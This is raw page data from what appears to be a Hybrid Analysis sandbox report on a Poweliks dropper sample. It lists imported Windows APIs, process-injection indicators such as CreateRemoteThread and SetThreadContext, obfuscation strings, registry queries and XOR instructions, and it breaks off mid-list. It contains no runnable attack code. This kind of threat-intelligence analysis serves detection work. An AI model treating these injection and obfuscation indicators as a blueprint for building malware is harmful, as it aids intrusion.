24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 59:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4bb,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Poweliks.Dropper.Generic Sample 5acd0b023bd7… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 5acd0b023bd7…. Malware family: Poweliks.Dropper.Generic. Threat score 100/100. 18/24 AV engines flagged this file. 8 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268","keywords":["Malicious","Poweliks.Dropper.Generic","malware analysis","sandbox report","threat intelligence","5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268"],"about":{"@type":"SoftwareApplication","name":"bounty-78427025687806819","applicationCategory":["peexe","executable"],"identifier":"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Poweliks.Dropper.Generic","antivirusDetections":{"malicious":18,"total":24},"behavioralIndicators":{"malicious":8,"suspicious":14},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T628,Found reference to API "CopySid" (Indicator: "CopySid"; Source: "sample.bin"), Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "sample.bin"), Found reference to API "GetKernelObjectSecurity" (Indicator: "GetKernelObjectSecurity"; Source: "sample.bin"), Found reference to API "GetSecurityDescriptorControl" (Indicator: "GetSecurityDescriptorControl"; Source: "sample.bin"), Found reference to API "IsValidSecurityDescriptor" (Indicator: "IsValidSecurityDescriptor"; Source: "sample.bin"), Found reference to API "GetAce" (Indicator: "GetAce"; Source: "sample.bin"), Found reference to API "MapGenericMask" (Indicator: "MapGenericMask"; Source: "sample.bin"), Found reference to API "IsValidAcl" (Indicator: "IsValidAcl"; Source: "sample.bin"), Found reference to API "AddAce" (Indicator: "AddAce"; Source: "sample.bin"), Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "sample.bin"), Found reference to API "MakeAbsoluteSD" (Indicator: "MakeAbsoluteSD"; Source: "sample.bin"), Found reference to API "IsValidSid" (Indicator: "IsValidSid"; Source: "sample.bin"), Found reference to API "DeleteAce" (Indicator: "DeleteAce"; Source: "sample.bin"), Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; Source: "sample.bin"), Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "sample.bin"), Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "sample.bin"), Found reference to API "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; Source: "sample.bin")26:T3d28,Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileAttributesW"; Source: "sample.bin"), Found reference to API (Indicator: "GetLocaleInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "CopySid"; Source: "sample.bin"), Found reference to API (Indicator: "GetLocaleInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "RtlUnwind"; Source: "sample.bin"), Found reference to API (Indicator: "FlushFileBuffers"; Source: "sample.bin"), Found reference to API (Indicator: "IsIconic"; Source: "sample.bin"), Found reference to API (Indicator: "IsWindowEnabled"; Source: "sample.bin"), Found reference to API (Indicator: "CreateWindowExW"; Source: "sample.bin"), Found reference to API (Indicator: "DefWindowProcW"; Source: "sample.bin"), Found reference to API (Indicator: "GetKeyState"; Source: "sample.bin"), Found reference to API (Indicator: "RegDeleteKeyW"; Source: "sample.bin"), Found reference to API (Indicator: "GetMenuItemID"; Source: "sample.bin"), Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "sample.bin"), Found reference to API (Indicator: "SetEndOfFile"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryW"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalFree"; Source: "sample.bin"), Found reference to API (Indicator: "ConvertStringSecurityDescriptorToSecurityDescriptorW"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryA"; Source: "sample.bin"), Found reference to API (Indicator: "EqualSid"; Source: "sample.bin"), Found reference to API (Indicator: "NetApiBufferFree"; Source: "sample.bin"), Found reference to API (Indicator: "TranslateMessage"; Source: "sample.bin"), Found reference to API (Indicator: "GetNamedSecurityInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "ConvertSecurityDescriptorToStringSecurityDescriptorW"; Source: "sample.bin"), Found reference to API (Indicator: "TlsGetValue"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleA"; Source: "sample.bin"), Found reference to API (Indicator: "SystemParametersInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryValueExW"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleW"; Source: "sample.bin"), Found reference to API (Indicator: "SetStdHandle"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "WNetEnumResourceW"; Source: "sample.bin"), Found reference to API (Indicator: "GetKernelObjectSecurity"; Source: "sample.bin"), Found reference to API (Indicator: "SetMenu"; Source: "sample.bin"), Found reference to API (Indicator: "RegSetValueExW"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalHandle"; Source: "sample.bin"), Found reference to API (Indicator: "FormatMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "RegOpenKeyExW"; Source: "sample.bin"), Found reference to API (Indicator: "HeapAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "GetStartupInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowPos"; Source: "sample.bin"), Found reference to API (Indicator: "AdjustWindowRectEx"; Source: "sample.bin"), Found reference to API (Indicator: "ShowWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetFocus"; Source: "sample.bin"), Found reference to API (Indicator: "HeapFree"; Source: "sample.bin"), Found reference to API (Indicator: "GetMenuItemCount"; Source: "sample.bin"), Found reference to API (Indicator: "DispatchMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "GetSecurityDescriptorControl"; Source: "sample.bin"), Found reference to API (Indicator: "TlsSetValue"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentThread"; Source: "sample.bin"), Found reference to API (Indicator: "IsWindowVisible"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalFindAtomW"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "sample.bin"), Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "sample.bin"), Found reference to API (Indicator: "GetConsoleMode"; Source: "sample.bin"), Found reference to API (Indicator: "DestroyMenu"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileW"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalDeleteAtom"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcessHeap"; Source: "sample.bin"), Found reference to API (Indicator: "IsValidSecurityDescriptor"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcAddress"; Source: "sample.bin"), Found reference to API (Indicator: "RaiseException"; Source: "sample.bin"), Found reference to API (Indicator: "LocalReAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileA"; Source: "sample.bin"), Found reference to API (Indicator: "GetMenuState"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "GetCapture"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowPlacement"; Source: "sample.bin"), Found reference to API (Indicator: "GetMenu"; Source: "sample.bin"), Found reference to API (Indicator: "EnableMenuItem"; Source: "sample.bin"), Found reference to API (Indicator: "RegCloseKey"; Source: "sample.bin"), Found reference to API (Indicator: "LeaveCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "GetSysColorBrush"; Source: "sample.bin"), Found reference to API (Indicator: "EnterCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalAddAtomW"; Source: "sample.bin"), Found reference to API (Indicator: "GetAce"; Source: "sample.bin"), Found reference to API (Indicator: "GetLastActivePopup"; Source: "sample.bin"), Found reference to API (Indicator: "SizeofResource"; Source: "sample.bin"), Found reference to API (Indicator: "LoadCursorW"; Source: "sample.bin"), Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalLock"; Source: "sample.bin"), Found reference to API (Indicator: "FindClose"; Source: "sample.bin"), Found reference to API (Indicator: "InterlockedExchange"; Source: "sample.bin"), Found reference to API (Indicator: "MapGenericMask"; Source: "sample.bin"), Found reference to API (Indicator: "LookupAccountNameW"; Source: "sample.bin"), Found reference to API (Indicator: "IsWindow"; Source: "sample.bin"), Found reference to API (Indicator: "UnhookWindowsHookEx"; Source: "sample.bin"), Found reference to API (Indicator: "RegisterClassW"; Source: "sample.bin"), Found reference to API (Indicator: "ConvertSidToStringSidW"; Source: "sample.bin"), Found reference to API (Indicator: "GetDC"; Source: "sample.bin"), Found reference to API (Indicator: "lstrlenA"; Source: "sample.bin"), Found reference to API (Indicator: "lstrlenW"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointer"; Source: "sample.bin"), Found reference to API (Indicator: "MapWindowPoints"; Source: "sample.bin"), Found reference to API (Indicator: "GetACP"; Source: "sample.bin"), Found reference to API (Indicator: "GetSysColor"; Source: "sample.bin"), Found reference to API (Indicator: "DestroyWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "sample.bin"), Found reference to API (Indicator: "IsValidAcl"; Source: "sample.bin"), Found reference to API (Indicator: "AddAce"; Source: "sample.bin"), Found reference to API (Indicator: "IsValidCodePage"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcmpW"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcmpA"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "ExitProcess"; Source: "sample.bin"), Found reference to API (Indicator: "GetForegroundWindow"; Source: "sample.bin"), Found reference to API (Indicator: "HeapSize"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowTextW"; Source: "sample.bin"), Found reference to API (Indicator: "WritePrivateProfileStringW"; Source: "sample.bin"), Found reference to API (Indicator: "RegEnumKeyExW"; Source: "sample.bin"), Found reference to API (Indicator: "EnumResourceLanguagesW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentThreadId"; Source: "sample.bin"), Found reference to API (Indicator: "SetEntriesInAclW"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBoxW"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileType"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetCPInfo"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameW"; Source: "sample.bin"), Found reference to API (Indicator: "IsDebuggerPresent"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcess"; Source: "sample.bin"), Found reference to API (Indicator: "GetClientRect"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFree"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryExW"; Source: "sample.bin"), Found reference to API (Indicator: "TlsAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "MakeAbsoluteSD"; Source: "sample.bin"), Found reference to API (Indicator: "GetActiveWindow"; Source: "sample.bin"), Found reference to API (Indicator: "ConvertDefaultLocale"; Source: "sample.bin"), Found reference to API (Indicator: "GetMessageTime"; Source: "sample.bin"), Found reference to API (Indicator: "IsValidSid"; Source: "sample.bin"), Found reference to API (Indicator: "LoadIconW"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteAce"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "RegConnectRegistryW"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowRect"; Source: "sample.bin"), Found reference to API (Indicator: "GetMenuCheckMarkDimensions"; Source: "sample.bin"), Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "SetCursor"; Source: "sample.bin"), Found reference to API (Indicator: "CheckMenuItem"; Source: "sample.bin"), Found reference to API (Indicator: "GetAclInformation"; Source: "sample.bin"), Found reference to API (Indicator: "ConvertStringSidToSidW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCursorPos"; Source: "sample.bin"), Found reference to API (Indicator: "InterlockedDecrement"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseDC"; Source: "sample.bin"), Found reference to API (Indicator: "GetConsoleCP"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeAcl"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowThreadProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowTextW"; Source: "sample.bin"), Found reference to API (Indicator: "TlsFree"; Source: "sample.bin"), Found reference to API (Indicator: "GetStdHandle"; Source: "sample.bin"), Found reference to API (Indicator: "EnableWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersionExW"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersionExA"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalReAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "PeekMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "LocalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "SetErrorMode"; Source: "sample.bin"), Found reference to API (Indicator: "GetTopWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalUnlock"; Source: "sample.bin"), Found reference to API (Indicator: "GetCommandLineW"; Source: "sample.bin"), Found reference to API (Indicator: "DsGetDcNameW"; Source: "sample.bin"), Found reference to API (Indicator: "ClientToScreen"; Source: "sample.bin"), Found reference to API (Indicator: "WriteFile"; Source: "sample.bin"), Found reference to API (Indicator: "Sleep"; Source: "sample.bin"), Found reference to API (Indicator: "GetSubMenu"; Source: "sample.bin"), Found reference to API (Indicator: "PtInRect"; Source: "sample.bin"), Found reference to API (Indicator: "CopyRect"; Source: "sample.bin"), Found reference to API (Indicator: "LoadResource"; Source: "sample.bin"), Found reference to API (Indicator: "GetOEMCP"; Source: "sample.bin"), Found reference to API (Indicator: "SetMenuItemBitmaps"; Source: "sample.bin"), Found reference to API (Indicator: "WNetCloseEnum"; Source: "sample.bin"), Found reference to API (Indicator: "ModifyMenuW"; Source: "sample.bin"), Found reference to API (Indicator: "HeapCreate"; Source: "sample.bin"), Found reference to API (Indicator: "RegCreateKeyExW"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualFree"; Source: "sample.bin"), Found reference to API (Indicator: "FreeLibrary"; Source: "sample.bin"), Found reference to API (Indicator: "LCMapStringA"; Source: "sample.bin"), Found reference to API (Indicator: "ReadFile"; Source: "sample.bin"), Found reference to API (Indicator: "LCMapStringW"; Source: "sample.bin"), Found reference to API (Indicator: "FindNextFileW"; Source: "sample.bin"), Found reference to API (Indicator: "WNetOpenEnumW"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcessToken"; Source: "sample.bin"), Found reference to API (Indicator: "WriteConsoleW"; Source: "sample.bin"), Found reference to API (Indicator: "WriteConsoleA"; Source: "sample.bin"), Found reference to API (Indicator: "RegEnumKeyW"; Source: "sample.bin"), Found reference to API (Indicator: "GetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "InterlockedIncrement"; Source: "sample.bin"), Found reference to API (Indicator: "LockResource"; Source: "sample.bin"), Found reference to API (Indicator: "LookupAccountSidW"; Source: "sample.bin"), Found reference to API (Indicator: "GetLengthSid"; Source: "sample.bin"), Found reference to API (Indicator: "AddAccessAllowedAce"; Source: "sample.bin"), Found reference to API (Indicator: "HeapReAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "GetStringTypeA"; Source: "sample.bin"), Found reference to API (Indicator: "SetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemMetrics"; Source: "sample.bin"), Found reference to API (Indicator: "SetNamedSecurityInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalFlags"; Source: "sample.bin"), Found reference to API (Indicator: "CallNextHookEx"; Source: "sample.bin"), Found reference to API (Indicator: "CloseHandle"; Source: "sample.bin"), Found reference to API (Indicator: "FindResourceW"; Source: "sample.bin")27:Ta36,Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp")28:T51e,Found reference to API "NtCreateThreadEx" (Indicator: "NtCreateThread"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp")29:T5c9,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp")2a:Tc0c,"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\EGYPT STANDARD TIME\DYNAMIC DST") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\EKATERINBURG STANDARD TIME") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\EKATERINBURG STANDARD TIME\DYNAMIC DST") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\EKATERINBURG STANDARD TIME") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\EKATERINBURG STANDARD TIME\DYNAMIC DST") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\FIJI STANDARD TIME") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\FIJI STANDARD TIME\DYNAMIC DST") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\FIJI STANDARD TIME") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\FIJI STANDARD TIME\DYNAMIC DST") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\FLE STANDARD TIME") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\FLE STANDARD TIME\DYNAMIC DST") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\GEORGIAN STANDARD TIME") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\GEORGIAN STANDARD TIME\DYNAMIC DST") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\GMT STANDARD TIME") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\GMT STANDARD TIME\DYNAMIC DST") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\GREENLAND STANDARD TIME")2b:T77a,Found reference to API "+=String.fromCharCode(parseInt(" (Indicator: "fromcharcode"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "+=String.fromCharCode(" (Indicator: "fromcharcode"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") file/memory contains long string with (Indicator: "fromcharcode"; Source: "00000000-00005964.00000001.79349.00640000.00000004.mdmp, 00000000-00005964.00000002.81275.00640000.00000004.mdmp") file/memory contains long string with (Indicator: "fromcharcode"; Source: "00000000-00005964.00000002.81275.01908000.00000004.mdmp") file/memory contains long string with (Indicator: "fromcharcode"; Source: "00000000-00005964.00000003.86793.00640000.00000004.mdmp") file/memory contains long string with (Indicator: "fromcharcode"; Source: "00000000-00005964.00000003.86793.01E40000.00000004.mdmp")2c:Ta7c,Assembly shows XOR instruction xor esi dword ptr [ebp-08h] in Stream UID: 25556-716-0040656D Assembly shows XOR instruction xor esi eax in Stream UID: 25556-716-0040656D Assembly shows XOR instruction xor edi FFAF8D3Bh in Stream UID: 25556-729-0040331F Assembly shows XOR instruction xor dword ptr [eax+28h] ecx in Stream UID: 25556-729-0040331F Assembly shows XOR instruction xor dword ptr [esp+04h] eax in Stream UID: 25556-749-00408D6B Assembly shows XOR instruction xor dword ptr [esp] eax in Stream UID: 25556-753-004045EA Assembly shows XOR instruction xor eax esi in Stream UID: 25556-754-00409905 Assembly shows XOR instruction xor dword ptr [esp] eax in Stream UID: 25556-759-0040A83E Assembly shows XOR instruction xor dword ptr [esp] eax in Stream UID: 25556-770-00402E65 Assembly shows XOR instruction xor dword ptr [esp] esi in Stream UID: 25556-770-00402E65 Assembly shows XOR instruction xor dword ptr [esp] eax in Stream UID: 25556-774-004038B0 Assembly shows XOR instruction xor eax edi in 